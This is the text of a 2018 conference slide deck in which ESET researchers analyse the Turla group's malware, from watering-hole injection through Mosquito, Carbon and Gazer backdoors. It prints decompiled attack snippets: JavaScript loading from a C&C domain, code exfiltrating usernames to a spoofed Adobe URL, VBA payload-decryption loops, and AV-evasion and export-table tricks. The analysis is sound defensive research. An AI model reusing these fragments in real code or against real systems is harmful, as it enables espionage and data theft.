Visiting the snake nest
Recon Brussels 2018

Jean-Ian Boutin | Senior Malware Researcher
Matthieu Faou | Malware Researcher
Jean-Ian Boutin
Senior Malware Researcher
@jiboutin

Matthieu Faou
Malware Researcher
@matthieu_faou
Agenda

1. Introduction
2. Infection Vectors
3. First Stages
4. Advanced First Stages
5. Second Stages
6. Infrastructure
7. Conclusion
Introduction
WASHINGTON — A top Pentagon official has confirmed a previously classified incident that he describes as “the most significant breach of U.S. military computers ever,” a 2008 episode in which a foreign intelligence agent used a flash drive to infect computers, including those used by the Central Command in overseeing combat zones in Iraq and Afghanistan.

Plugging the cigarette-lighter-sized flash drive into an American military laptop at a base in the Middle East amounted to “a digital beachhead, from which data could be transferred to servers under foreign control,” according to William J. Lynn 3d, deputy secretary of defense, writing in the latest issue of the journal Foreign Affairs.
Russian group behind 2013 Foreign Ministry hack

The 2013 data hack at the Finnish Foreign Ministry was perpetrated by a group of Russian hackers, and was part of a wider campaign against targets in nearly fifty countries. Experts contacted by Yle have confirmed that the attack was perpetrated by the Turla group.
Le logiciel russe Snake a frappé les Affaires étrangères

Il s’agit de l’un des logiciels furtifs les plus virulents qui frappe les sites gouvernementaux et militaires de l’Alliance atlantique.
MAKERSMARK
(Russian CNE)

Designed by geniuses
Implemented by morons
Is ESET doing attribution?
Turla in short

• One of the oldest espionage group

• Targets includes governments, government officials, diplomats, ...

• Very large toolset targeting all major platforms
Infection Vectors
Overview

• Wateringhole

• Spearphishing
### Watering Hole

**Planting scripts in targets’ favs websites**

<table>
<thead>
<tr>
<th>URL (past campaigns)</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.namibianembassyusa.org">http://www.namibianembassyusa.org</a></td>
<td>Namibia Embassy - USA</td>
</tr>
<tr>
<td><a href="http://www.avsa.org">http://www.avsa.org</a></td>
<td>African Violet Societa of America</td>
</tr>
<tr>
<td><a href="http://www.zambiaembassy.org">http://www.zambiaembassy.org</a></td>
<td>Zambian Embassy - USA</td>
</tr>
<tr>
<td><a href="http://russianembassy.org">http://russianembassy.org</a></td>
<td>Russian Embassy - USA</td>
</tr>
<tr>
<td><a href="http://au.int">http://au.int</a></td>
<td>African Union</td>
</tr>
<tr>
<td><a href="http://mfa.gov.kg">http://mfa.gov.kg</a></td>
<td>Ministry of Foreign Affairs – Kyrgyzstan</td>
</tr>
<tr>
<td><a href="http://mfa.uz">http://mfa.uz</a></td>
<td>Ministry of Foreign Affairs - Uzbekistan</td>
</tr>
</tbody>
</table>
Script Injection

1st level C&C

- mentalhealthcheck.net
- drivers.epsoncorp.com
- rss.nbcpost.com
- static.travelclothes.org
- msgcollection.com
Script Injection

1st level C&C

mentalhealthcheck.net

drivers.epsoncorp.com

rss.nbcpost.com

static.travelclothes.org

msgcollection.com
Script Injection

1st level C&C

- mentalhealthcheck.net
- drivers.epsoncorp.com
- rss.nbcpost.com
- static.travelclothes.org
- msgcollection.com
PluginDetect

• Fingerprinting potential target through JS

function cb_custom() {
    loadScript("http://www.mentalhealthcheck.net/script/pde.js", cb_custom1);
}

function cb_custom1() {
    PluginDetect.getVersion('.');
    myResults['Java']=PluginDetect.getVersion('Java');
    myResults['Flash']=PluginDetect.getVersion('Flash');
    myResults['Shockwave']=PluginDetect.getVersion('Shockwave');
    myResults['AdobeReader']=PluginDetect.getVersion('AdobeReader') || PluginDetect.getVersion('PDFReader');
    var ec = new evercookie();
    ec.get('thread', getCookie);
Browser Extension

HTML5 Encoding 0.3.7
Encoding support for your browser

Automatic Updates
Default On Off

Last Updated Thursday, April 13, 2017

Disable Remove
C&C fetching

- Computes comments checksum
- Regular expression applied '
(?>:\u200d)(?:#|@)?(\w)'  
- https://bitly.com/2kdhuHX
C&C fetching

- Computes comments checksum
- Regular expression applied '(?:\u200d)(?:#|@)?(\\w)'
- https://bitly.com/2kdhuHX
• A bit disappointing that this one was not used...
Mosquito
Overview

• Campaign running since at least July 2016
• Infection vector is a fake flash installer
  • Downloaded from http://admdownload.adobe.com *
• Use either a Win32 or a JScript backdoor

* We believe Adobe was not compromised
Tracing the infection chain

**flashplayer27_xa_install.exe**

- [http://admdownload.adobe.com/bin/live/flashplayer27_xa_install.exe](http://admdownload.adobe.com/bin/live/flashplayer27_xa_install.exe)

- 23.45.97.113
  - Legitimate Akamai IP address used by Adobe
Something weird is happening on the network
Possible interception points

1. Local man-in-the-middle attack
2. Compromised gateway
3. ISP modifies traffic
4. BGP hijacking
5. Adobe site somehow compromised

Traffic interception
During the installation...

```c
URI = (char *)malloc(0x104u);
sprintf(URI, "'/stats/AbfFcBebD/?q=%s'", szVerb);
v5 = InternetOpenA("Adobe", 1u, 0, 0, 0);
v6 = InternetConnectA(v5, v3[2], 0x50u, 0, 0, 3u, 0, 0);
*(DWORD *)&szVerb = 5522759;
v7 = HttpOpenRequestA(v6, &szVerb, URI, 0, 0, 0, 0x4400000u, 0);
result = HttpSendRequestA(v7, 0, 0, 0, 0);
```

http://get.adobe.com/stats/AbfFcBebD/q=<base64-encoded data>
Information exfiltrated to get.adobe.com over HTTP

ID=<unique_id>
Internal error: 0
Last error :0
Extracted
user=<USERNAME>
AV=<INSTALLED AV SOFTWARE>
ip= 192.168.0.2 <local IP address>

<table>
<thead>
<tr>
<th>Internet Address</th>
<th>Physical Address</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.168.0.1</td>
<td>&lt;redacted&gt;</td>
<td>dynamic</td>
</tr>
<tr>
<td>192.168.0.255</td>
<td>ff-ff-ff-ff-ff-ff</td>
<td>static</td>
</tr>
<tr>
<td>224.0.0.2</td>
<td>&lt;redacted&gt;</td>
<td>static</td>
</tr>
<tr>
<td>224.0.0.22</td>
<td>&lt;redacted&gt;</td>
<td>static</td>
</tr>
<tr>
<td>224.0.0.252</td>
<td>&lt;redacted&gt;</td>
<td>static</td>
</tr>
<tr>
<td>239.255.255.250</td>
<td>&lt;redacted&gt;</td>
<td>static</td>
</tr>
<tr>
<td>255.255.255.255</td>
<td>ff-ff-ff-ff-ff-ff</td>
<td>static</td>
</tr>
</tbody>
</table>
CANNOT BE INFECTED

IF YOU HAVE A MAC
v35 = objc_msgSend(
    &OBJC_CLASS___NSString,
    "stringWithFormat:",
    CFSTR("User_name:%@|Device_name:%@|%@"),
    v68,
    v67,
    v66);

v36 = (void *)&objc_retainAutoreleasedReturnValue(v35);

v60 = v36;

v37 = objc_msgSend(v36, "dataUsingEncoding:", 4LL);

v38 = (void *)&objc_retainAutoreleasedReturnValue(v37);

v59 = v38;

v39 = objc_msgSend(v38, "base64EncodedStringWithOptions:", 0LL);

v40 = objc_retainAutoreleasedReturnValue(v39);

v58 = v40;

v41 = objc_msgSend(
    &OBJC_CLASS___NSString,
    "stringWithFormat:",
    CFSTR("http://get.adobe.com/stats/AbfFcBebD/?q=%@"),
    v40);
v35 = objc_msgSend(
    &OBJC_CLASS___NSString,
    "stringWithFormat:",
    CFSTR("User_name:%@|Device_name:%@|%@"),
    v68,
    v67,
    v66);
v36 = (void *)objc_retainAutoreleasedReturnValue(v35);
v60 = v36;
v37 = objc_msgSend(v36, "dataUsingEncoding:", 4LL);
v38 = (void *)objc_retainAutoreleasedReturnValue(v37);
v59 = v38;
v39 = objc_msgSend(v38, "base64EncodedStringWithOptions:", 0LL);
v40 = objc_retainAutoreleasedReturnValue(v39);
v58 = v40;
v41 = objc_msgSend(
    &OBJC_CLASS___NSString,
    "stringWithFormat:",
    CFSTR("http://get.adobe.com/stats/AbfFcBebD/?q=%@")
    v40);
It even tricked researchers!

En réponse à @matthieu_faou

wow I saw that - but just figured perhaps they were doing something like sending OS info to an Adobe endpoint to get the relevant version of Flash to install. Mahalo for the info & link!

À l'origine en anglais

14:50 - 11 janv. 2018
1st Stages
Many have been documented

- Culex
- Tavdig
- Skipper
- Kopiluwak
- ...
Tavdig/Wipbot
Tavdig

• (Older) backdoor used to assess target usefulness

• Can execute command, modify backdoor configuration, download additional files, etc

• Dropped through watering hole or spear phishing (old PDF CVE and macros)
Overall Architecture

• Used for
  • System fingerprinting
    • OS version
    • Computer name
    • Current user name
    • Local groups
    • System directory
    • System language, user language, timezone, uptime, etc
  • Backdoor (upload/download file, execute, etc)
### Different Versions

**Observations based on samples analyzed**

<table>
<thead>
<tr>
<th>Version</th>
<th>Sample sightings</th>
<th>Differences</th>
</tr>
</thead>
<tbody>
<tr>
<td>A</td>
<td>October 2013 – February 2014</td>
<td>• N/A</td>
</tr>
</tbody>
</table>
| B       | April 2014 – July 2014           | • Introduction of macro based Word dropper  
• Introduction of the two steps injection  
• Introduction of shell_traywnd injection trick |
| C       | September 2015 – November 2015   | • Introduction of code obfuscation through “this” pointer  
• Introduction of list of injectable processes instead of just iexplore.exe |
Version C process list

• Hash-based process name search
• Crackable through John the Ripper

<table>
<thead>
<tr>
<th>icq.exe</th>
<th>msimn.exe</th>
<th>opera.exe</th>
</tr>
</thead>
<tbody>
<tr>
<td>chrome.exe</td>
<td>pidgin.exe</td>
<td>firefox.exe</td>
</tr>
<tr>
<td>outlook.exe</td>
<td>iexplore.exe</td>
<td>jusched.exe</td>
</tr>
<tr>
<td>browser.exe</td>
<td>icqlite.exe</td>
<td>adobearm.exe</td>
</tr>
<tr>
<td>adobeupdater.exe</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Tavdig word attachment

• Malicious macro embedded in document
• Macro decrypts payload and launches it
Tavdig word attachment

• Malicious macro embedded in document
• Macro decrypts payload and launches it

File size
Tavdig word attachment

- Malicious macro embedded in document
- Macro decrypts payload and launches it

Checksum

FEDERAL INVESTIGATION AGENCY
ISLAMABAD, PAKISTAN
Skipper
Skipper

• Minimal backdoor used against governmental and diplomatic institutions since at least 2014

• Can execute commands, ex-filtrate files and download additional malware

• Delivered in malicious macros, JS attachments
Skipper vs. Tavdig

**Function from Skipper (2015)**

```vba
Function PresentFile(MacrosArray() As Byte, MacrosSize As Long) As Boolean
    Dim VarByte As Byte
    VarByte = 35
    For I = 0 To MacrosSize - 1
        MacrosArray(I) = MacrosArray(I) Xor VarByte
        VarByte = ((VarByte Xor 217) Xor (I Mod 256))
    Next I
    PresentFile = True
End Function
```

**Function from Tavdig macro**

```vba
Dim yficijcgq As Byte
   yficijcgq = 139
   For I = 0 To kptiresht - 1
      sgaalsipw(I) = sgaalsipw(I) Xor yficijcgq
      yficijcgq = ((yficijcgq Xor 12) Xor (I Mod 256))
   Next I
   ebgdbsdms = True
End Function
```
Skipper vs. Tavdig

**Function from Skipper (2015)**

```vbnet
Function PresentFile(MacrosArray() As Byte, MacrosSize As Long) As Boolean

    Dim VarByte As Byte
    VarByte = 35

    For I = 0 To MacrosSize - 1
        MacrosArray(I) = MacrosArray(I) Xor VarByte
        VarByte = ((VarByte Xor 217) Xor (I Mod 256))
    Next I

    PresentFile = True

End Function
```

**Function from Tavdig macro**

```vbnet
Function PresentFile(MacrosArray() As Byte, MacrosSize As Long) As Boolean

    Dim yficijcqw As Byte
    yficijcqw = 139

    For I = 0 To kptiresht - 1
        sgaalsipw(I) = sgaalsipw(I) Xor yficijcqw
        yficijcqw = ((yficijcqw Xor 12) Xor (I Mod 256))
    Next I

    PresentFile = True

End Function
```
Skipper vs. Tavdig

**function from Skipper (2015)**

```
Function PresentFile(MacrosArray() As Byte, MacrosSize As Long) As Boolean

Dim VarByte As Byte
VarByte = 35

For I = 0 To MacrosSize - 1
    MacrosArray(I) = MacrosArray(I) Xor VarByte
    VarByte = ((VarByte Xor 217) Xor (I Mod 256))
Next I

PresentFile = True

End Function
```

**function from Tavdig macro**

```
Dim yficijcgq As Byte
yficijcgq = 139

For I = 0 To kptiresht - 1
    sgaalsipw(I) = sgaalsipw(I) Xor yficijcgq
    yficijcgq = ((yficijcgq Xor 12) Xor (I Mod 256))
Next I

egbdhdhms = True

End Function
```
Skipper Development

• C:\Users\admin\Documents\Visual Studio 2012\Projects\dws\x64\Release\GetPidByProcessName_x64.pdb

• C:\Users\work4\Documents\Visual Studio 2012\Projects\KOTEL 24.11.16 No COOKIE No STORAGE only\BODY\KOTEL_2.1\x64\Release\GetPidByProcessName_x64.pdb
Skipper Development

• C:\Users\admin\Documents\Visual Studio 2012\Projects\dws\x64\Release\GetPidByProcessName_x64.pdb

• C:\Users\work4\Documents\Visual Studio 2012\Projects\KOTEL 24.11.16 No COOKIE No STORAGE only\BODY\KOTEL_2.1\x64\Release\GetPidByProcessName_x64.pdb
ΠΡΟΣΟΧΗ!

Προς όλους τους χρήστες ηλεκτρονικού ταχυδρομείου του Υπουργείου Εξωτερικών.

Τον τελευταίο καιρό έχουν εντοπισθεί πολλά ψευδεπίγραφα μηνύματα προς χρήστες ηλεκτρονικού ταχυδρομείου του Υπουργείου Εξωτερικών, τα οποία και προτρέπουν για τη συμπλήρωση φόρμας με προσωπικά στοιχεία των χρηστών ή/και την αποστολή στοιχείων των λογαριασμών τους, προφανώς με ψευδείς λόγους "υπέρβασης ορίου χρήσης" ή "συντήρησης" ή "ζεκλειδώματος λογαριασμού" ή "επιβεβαίωσης στοιχείων".

Skipper email attachment

• SECTION_INTERNET-NOTICE_TO_ALL_USERS_13-05-2016.pdf.js
Listing archive: wrk.scr

Path = wrk.scr
Type = zip
Comment = ;The comment below contains SFX script commands

Path=%APPDATA%\Microsoft\VisualStudio\11.0
Setup=dws.exe
Silent=1
Overwrite=2

Physical Size = 430850
Offset = 156672

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Attr</th>
<th>Size</th>
<th>Compressed</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>2012-01-22</td>
<td>08:58:03</td>
<td>A</td>
<td>131072</td>
<td>64427</td>
<td>msi60.dll</td>
</tr>
<tr>
<td>2012-01-22</td>
<td>08:58:01</td>
<td>A</td>
<td>77824</td>
<td>33771</td>
<td>msp.dll</td>
</tr>
<tr>
<td>2012-01-22</td>
<td>08:58:04</td>
<td>A</td>
<td>84992</td>
<td>37663</td>
<td>msp60.dll</td>
</tr>
<tr>
<td>2012-01-22</td>
<td>08:58:02</td>
<td>A</td>
<td>78336</td>
<td>35250</td>
<td>mst.dll</td>
</tr>
<tr>
<td>2012-01-22</td>
<td>08:58:03</td>
<td>A</td>
<td>82432</td>
<td>38003</td>
<td>mst60.dll</td>
</tr>
<tr>
<td>2012-01-22</td>
<td>08:57:53</td>
<td>A</td>
<td>82944</td>
<td>37323</td>
<td>msvc60.dll</td>
</tr>
<tr>
<td>2012-01-22</td>
<td>08:58:01</td>
<td>A</td>
<td>95232</td>
<td>48575</td>
<td>dws.exe</td>
</tr>
<tr>
<td>2012-01-22</td>
<td>08:58:02</td>
<td>A</td>
<td>74240</td>
<td>32971</td>
<td>msi.dll</td>
</tr>
<tr>
<td>2012-01-22</td>
<td>08:58:02</td>
<td>A</td>
<td>78848</td>
<td>36203</td>
<td>msi.exe</td>
</tr>
<tr>
<td>2012-01-22</td>
<td>08:58:01</td>
<td>A</td>
<td>137728</td>
<td>65225</td>
<td>msi32.dll</td>
</tr>
</tbody>
</table>

923648        429411  10 files, 0 folders
Skipper Misc

• Implements a bunch of anti-emulation tricks
• Implements a bunch of anti-emulation tricks
Skipper Misc

- Implements a bunch of anti-emulation tricks
• Implements a bunch of anti-emulation tricks
Bypass Antivirus Dynamic Analysis

Limitations of the AV model and how to exploit them

Date of writing: 08/2014

Author: Emeric Nasi – emeric.nasi[at]sevagas.com

Website: http://www.sevagas.com/

License: This work is licensed under a Creative Commons Attribution 4.0 International License

Note: This paper requires some knowledge C and Windows system programming
6.4. The “WTF is that?” method

Windows system API is so big that AV emulation system just don’t cover everything. In this section I just put two examples but a lot other exist in the meander of Windows system APIs.

Example 1: What the fuck is NUMA?

```c
int main( void )
{
    LPVOID mem = NULL;
    mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);
}
```

Example 2: What the fuck are FLS?

FLS is Fiber Local Storage, used to manipulate data related to fibers. Fibers themselves

```c
int main( void )
{
    DWORD result = FlsAlloc(NULL);
    if (result != FLS_OUT_OF_INDEXES)
    {
        decryptCodeSection();
    }
}
```
Misc – OPSEC failure

• Operators use Vim!!

• https://[C&C server]/rss.php~
Advanced 1\textsuperscript{st} stages

Image credit: SpaceX
Mosquito
Win32 Mosquito

• 1st or 2nd stage (Skipper)

• Deployed in Eastern Europe on diplomats’ machines

• Uses a custom packer
int start()
{
    unsigned int v0; // ST24_4
    unsigned int v1; // ST24_4
    int v2; // ST1C_4
    int v3; // ST24_4
    unsigned int v4; // ST24_4

    main_object_4F3588 = (int)dword_4F35A0;
    dword_4F35A0[32] = nullsub_1;
    *(DWORD *)(main_object_4F3588 + 156) = 0;
    *(DWORD *)(main_object_4F3588 + 160) = start;
    v0 = dword_4F3008[0] | dword_4F3228[1] | ((unsigned int)dword_4F3228[1] >> 4) | dword_4F3008[0] | dword_4F3228[4];// useless
    {
        v3 = dword_4F3228[1] + (dword_4F3228[1] ^ dword_4F3248[3] ^ 0x5B266E43);// useless
            + 0x487878C0;
        *(DWORD *)(main_object_4F3588 + 116) = F_GetProcAddress_by_hash;
        *(DWORD *)main_object_4F3588 = F_decrypt;
    }
    else
    {
        GetClassNameW(HWND)dword_4F3228[0], (LPWSTR)dword_4F3008[1], dword_4F3228[1]);
        SendMessageW(HWND)dword_4F3248[0], dword_4F3248[2], dword_4F3228[3], dword_4F3228[0]);
    }
Packer – Anti-sandbox/emulation

• Call to `SetupDiGetClassDevs(0,0,0,0xFFFFFFFF)`

• Last parameter value is undocumented

• Expect `0xE000021A` as return value
Components

Backdoor

- ACCTRES.pdb: 4/22/2016 5:20 PM, PDB File, 200 KB
- ACCTRES.tlb: 4/22/2016 5:20 PM, TLB File, 123 KB
- ACCTRES.tnl: 12/19/2017 8:22 AM, TNL File, 1 KB
Components

Backdoor

Loader

- ACCTRES.pdb (4/22/2016 5:20 PM)
  - PDB File, 200 KB
- ACCTRES.tlb (4/22/2016 5:20 PM)
  - TLB File, 123 KB
- ACCTRES.tnl (12/19/2017 8:22 AM)
  - TNL File, 1 KB
Components

Backdoor

Loader

Encrypted log file

- ACCTRES.pdb
  4/22/2016 5:20 PM
  PDB File
  200 KB
- ACCTRES.tlb
  4/22/2016 5:20 PM
  TLB File
  123 KB
- ACCTRES.tnl
  12/19/2017 8:22 AM
  TNL File
  1 KB
Persistence 1/2

• CLSID hijacking
  • Ex: Ntshrui.dll
Persistence 2/2

• Create a new admin account: HelpAssistant
  • Enable remote administrative actions for this user
  • Maybe used to spy or regain control if the backdoor is deleted.
### Where are you export table?

<table>
<thead>
<tr>
<th>pFile</th>
<th>Data</th>
<th>Description</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>00000000</td>
<td>5A40</td>
<td>Signature</td>
<td>IMAGE_DOS_SIGNATURE MZ</td>
</tr>
<tr>
<td>00000002</td>
<td>0090</td>
<td>Bytes on Last Page of File</td>
<td></td>
</tr>
<tr>
<td>00000004</td>
<td>0003</td>
<td>Pages in File</td>
<td></td>
</tr>
<tr>
<td>00000006</td>
<td>0000</td>
<td>Relocations</td>
<td></td>
</tr>
<tr>
<td>00000008</td>
<td>0004</td>
<td>Size of Header in Paragraphs</td>
<td></td>
</tr>
<tr>
<td>0000000A</td>
<td>0000</td>
<td>Minimum Extra Paragraphs</td>
<td></td>
</tr>
<tr>
<td>0000000C</td>
<td>FFFF</td>
<td>Maximum Extra Paragraphs</td>
<td></td>
</tr>
<tr>
<td>0000000E</td>
<td>0000</td>
<td>Initial (relative) SS</td>
<td></td>
</tr>
<tr>
<td>00000010</td>
<td>0000</td>
<td>Initial SP</td>
<td></td>
</tr>
<tr>
<td>00000012</td>
<td>0000</td>
<td>Checksum</td>
<td></td>
</tr>
<tr>
<td>00000014</td>
<td>0000</td>
<td>Initial IP</td>
<td></td>
</tr>
<tr>
<td>00000016</td>
<td>0000</td>
<td>Initial (relative) CS</td>
<td></td>
</tr>
<tr>
<td>00000018</td>
<td>0040</td>
<td>Offset to Relocation Table</td>
<td></td>
</tr>
<tr>
<td>0000001A</td>
<td>0000</td>
<td>Overlay Number</td>
<td></td>
</tr>
<tr>
<td>0000001C</td>
<td>0000</td>
<td>Reserved</td>
<td></td>
</tr>
<tr>
<td>0000001E</td>
<td>0000</td>
<td>Reserved</td>
<td></td>
</tr>
<tr>
<td>00000020</td>
<td>0000</td>
<td>Reserved</td>
<td></td>
</tr>
<tr>
<td>00000022</td>
<td>0000</td>
<td>Reserved</td>
<td></td>
</tr>
<tr>
<td>00000024</td>
<td>0000</td>
<td>OEM Identifier</td>
<td></td>
</tr>
<tr>
<td>00000026</td>
<td>0000</td>
<td>OEM Information</td>
<td></td>
</tr>
<tr>
<td>00000028</td>
<td>0000</td>
<td>Reserved</td>
<td></td>
</tr>
<tr>
<td>0000002A</td>
<td>0000</td>
<td>Reserved</td>
<td></td>
</tr>
<tr>
<td>0000002C</td>
<td>0000</td>
<td>Reserved</td>
<td></td>
</tr>
<tr>
<td>0000002E</td>
<td>0000</td>
<td>Reserved</td>
<td></td>
</tr>
<tr>
<td>00000030</td>
<td>0000</td>
<td>Reserved</td>
<td></td>
</tr>
<tr>
<td>00000032</td>
<td>0000</td>
<td>Reserved</td>
<td></td>
</tr>
<tr>
<td>00000034</td>
<td>0000</td>
<td>Reserved</td>
<td></td>
</tr>
<tr>
<td>00000036</td>
<td>0000</td>
<td>Reserved</td>
<td></td>
</tr>
<tr>
<td>00000038</td>
<td>0000</td>
<td>Reserved</td>
<td></td>
</tr>
<tr>
<td>0000003A</td>
<td>0000</td>
<td>Reserved</td>
<td></td>
</tr>
<tr>
<td>0000003C</td>
<td>000000E8</td>
<td>Offset to New EXE Header</td>
<td></td>
</tr>
</tbody>
</table>
base_addr = GetModuleHandleW(\ModuleName);
new_IMAGE_EXPORT_DIRECTORY.Characteristics = 0;
*\new_IMAGE_EXPORT_DIRECTORY.MajorVersion = 0;
base_addr_cpy = base_addr;
pe_header_off = *(base_addr + 15);
export_table = (base_addr + pe_header_off + 0x78);
new_IMAGE_EXPORT_DIRECTORY.TimeDateStamp = 1475070422;// Wed Sep 28 09:47:02 EDT 2016
new_IMAGE_EXPORT_DIRECTORY.Base = 1;
new_IMAGE_EXPORT_DIRECTORY.NumberOfFunctions = 1;
vl0 = *(base_addr + pe_header_off + 0xA4) + *(base_addr + pe_header_off + 0xA0);
f10ldProtect = 0;
new_IMAGE_EXPORT_DIRECTORY.NumberOfNames = 1;
CommanderD11.dll = '0C\0\0';
    // CommanderD11.dll
v20 = 'namm';
new_IMAGE_EXPORT_DIRECTORY.Name = v10 + 0x32;
new_IMAGE_EXPORT_DIRECTORY.AddressOfFunctions = v10 + 0x28;
new_IMAGE_EXPORT_DIRECTORY.AddressOfNames = v10 + 0x2C;
new_IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals = v10 + 0x30;
v21 = 'Dred';
v17 = (StartRoutine - base_addr);
v18 = v10 + 0x43;
v22 = 'd.LL';
s_StartRoutine = 'S\0ll';
    // StartRoutine
v24 = 'trat';
v25 = 'twoR';
v26 = 'eni';
v11 = v10;
VirtualProtect(base_addr + pe_header_off + 0x78, 8u, PAGE_READWRITE, &f10ldProtect);
*export_table = v11; // Modify export table RVA
*(base_addr_cpy + pe_header_off + 0x7C) = 0x50; // Modify size of export table
VirtualProtect(export_table, PAGE_WRITECOPY, f10ldProtect, &f10ldProtect);
VirtualProtect(base_addr_cpy + v11, PAGE_EXECUTE_READWRITE|PAGE_EXECUTE, 4u, &f10ldProtect);
memmove 0(base_addr_cpy + v11, &new IMAGE EXPORT DIRECTORY, 0x50u);
I’m here!

<table>
<thead>
<tr>
<th>pFile</th>
<th>Data</th>
<th>Description</th>
<th>Value</th>
</tr>
</thead>
<tbody>
<tr>
<td>00031E88</td>
<td>00000000</td>
<td>Characteristics</td>
<td></td>
</tr>
<tr>
<td>00031E8C</td>
<td>57EBC9D6</td>
<td>Time Date Stamp</td>
<td>2016/09/28 Wed 13:47:02 UTC</td>
</tr>
<tr>
<td>00031E90</td>
<td>0000</td>
<td>Major Version</td>
<td></td>
</tr>
<tr>
<td>00031E92</td>
<td>0000</td>
<td>Minor Version</td>
<td></td>
</tr>
<tr>
<td>00031E94</td>
<td>000372BA</td>
<td>Name RVA</td>
<td>CommanderDLL.dll</td>
</tr>
<tr>
<td>00031E98</td>
<td>00000001</td>
<td>Ordinal Base</td>
<td></td>
</tr>
<tr>
<td>00031E9C</td>
<td>00000001</td>
<td>Number of Functions</td>
<td></td>
</tr>
<tr>
<td>00031EA0</td>
<td>00000001</td>
<td>Number of Names</td>
<td></td>
</tr>
<tr>
<td>00031EA4</td>
<td>000372B0</td>
<td>Address Table RVA</td>
<td></td>
</tr>
<tr>
<td>00031EA8</td>
<td>000372B4</td>
<td>Name Pointer Table RVA</td>
<td></td>
</tr>
<tr>
<td>00031EAC</td>
<td>000372B8</td>
<td>Ordinal Table RVA</td>
<td></td>
</tr>
</tbody>
</table>
Encryption

• Data is xored with a generated key
  • No, I won’t show you the xor loop :D

• Generation algorithm looks like **BlumBlumShub**
  • Takes a key and a modulo to generate a bytes stream
Network communications

- C&C
  - HTTPs
  - URI: /scripts/m/query.php?id=<base64 data>
  - SATCOM IP addresses and Cloudflare
Network communications

- C&C
  - HTTPs
  - URI: /scripts/m/query.php?id=<base64 data>
  - SATCOM IP addresses and Cloudflare

- Encrypted data in:
  - GET parameter (id)
  - Cookie
  - POST
Backdoor functions

• Download & execute additional files
• Launch a process
• Delete a file
• Exfiltrate a file
• Add/Delete a C&C server
Mosquito vs ComRAT

• Encryption algorithms are different
• Log structures are different

• Both use CLSID hijacking
• Overlap in the network infrastructure
• Some similarities in the code
Second Stages

Image credit: SpaceX
Advanced Functionalities

• Second stages implement similar concepts to stay persistent and hidden on the system

• They are meant to stay undected as long as possible
Carbon/ Cobra
Overview

• Evolution of the previous rootkit

• Sophisticated backdoor

• Receive and dispatch tasks from other nodes
Architecture

- Dropper
- Loader
- Orchestrator
- Communication DLL
# Development Timeline

<table>
<thead>
<tr>
<th>Compilation date</th>
<th>Orchestrator version</th>
<th>Communication library version</th>
</tr>
</thead>
<tbody>
<tr>
<td>2014-02-26</td>
<td>3.71</td>
<td>3.62</td>
</tr>
<tr>
<td>2016-02-02</td>
<td>3.77</td>
<td>4.00</td>
</tr>
<tr>
<td>2016-03-17</td>
<td>3.79</td>
<td>4.01</td>
</tr>
<tr>
<td>2016-03-24</td>
<td>3.79</td>
<td>4.01</td>
</tr>
<tr>
<td>2016-04-01</td>
<td>3.79</td>
<td>4.03</td>
</tr>
<tr>
<td>2016-08-30</td>
<td>3.81</td>
<td>???</td>
</tr>
<tr>
<td>2016-10-05</td>
<td>3.81</td>
<td>???</td>
</tr>
<tr>
<td>2016-10-21</td>
<td>3.81</td>
<td>???</td>
</tr>
</tbody>
</table>
C&C Communication

• Several steps are taken before beaoning out
  • Check for network sniffers
  • First GET request to root page of C&C
  • Real request is made
C&C Communication

- Data that should be sent to the C&C server is written to a file
  - Each blob is encrypted with CAST-128
  - extra 3DES encryption is configurable
Tasks

• Tasks are retrieved from a webpage

• Once decrypted, the tasks are added to a queue
Tasks

• Tasks are retrieved from a webpage

• Once decrypted, the tasks are added to a queue
Named pipe Communications

• Example of communication between modules

```c
v12 = 0;
v7 = "frag.np";
v8 = 0;
strcpy(&Dest, "\\\pipe\sdlrpc");
v0 = strlen(Dest);
if (Fnctor(&v12, &v7, 0, 0, (int)&Dest, v0 + 1, 2) )
    return 0;
fnSetCommParams((_DWORD **)v12, (int)"Frag_size=32768", 0);
fnSetCommParams((_DWORD **)v12, (int)"Frag_no_scrambling=1", 0);
memset(&Dest, 0, 0x104u);
sprintf(&Dest, "write_peer_nfo=%c%c%c", 129, &v3, 0);
if (fnSetCommParams((_DWORD **)v12, (int)&Dest, 0) ||
    sub_20014975(v12, 0)
    || sub_20014A84((_DWORD **)v12, (int)&gPeerHandShake1, 8, 0) )
```
Tasks can be forwarded to another node
Named pipe Communications

- Tasks can be forwarded to another node
Named pipe Communications

- Tasks can be forwarded to another node
Named pipe Communications

• Tasks can be forwarded to another node
Named pipe Communications

- Tasks can be forwarded to another node

```c
v12 = 0;
v7 = "frag.np";
v8 = 0;
strcpy(&Dest, "\\\\pipe\\sdlrpc");
v0 = strlen(&Dest);
if ( FnCtor(&v12, &v7, 0, 0, (int)&Dest, v0 + 1, 2) )
    return 0;
fnSetCommParams((DWORD **)&v12, (int)"Frag_size=32768", 0);
fnSetCommParams((DWORD **)&v12, (int)"Frag_no_scrambling=1", 0);
memset(&Dest, 0, 0x104u);
printf(&Dest, "writpe\r\nfo-%C\r\n", 129, &v3, 0);
if ( FnSetCommParams((DWORD **)&v12, (int)&Dest, 0) )
    sub_2001b075(&v12, 0)
|| sub_20014a84((DWORD **)&v12, (int)&gPeerHandShake1, 8, 0 )
```
Task configuration file

• [CONFIG]
  • NAME (“cmd.exe” by default)
  • ARG
  • RESULT (“stdout” by default)
  • COMPRESS ("yes" by default)
  • DELETE (“no” by default)
Kazuar
Overview

- .NET backdoor
- Crossplatform
- Similar in architecture to Carbon
  - Plugin support
  - Working directory
  - Configuration file
  - Log file
  - […]
ConfuserEx

• LZMA code compression
• Anti debug
• Control flow obfuscation
• Strings obfuscation
Gazer/
White Bear

https://chocolate80y.deviantart.com/art/bear-snake-149185270
Overview

• The most recent 2\textsuperscript{nd} stage backdoor

• Similar architecture to the previously discussed backdoors
Gazer Architecture

GAZER LOADER
- rsrс 101
  “explorer.exe”
- rsrс 102
  Orchestrator

Injects into process indicated in rsrс 101

GAZER ORCHESTRATOR
- rsrс 101
- [...]
- rsrс 102
  Comm module

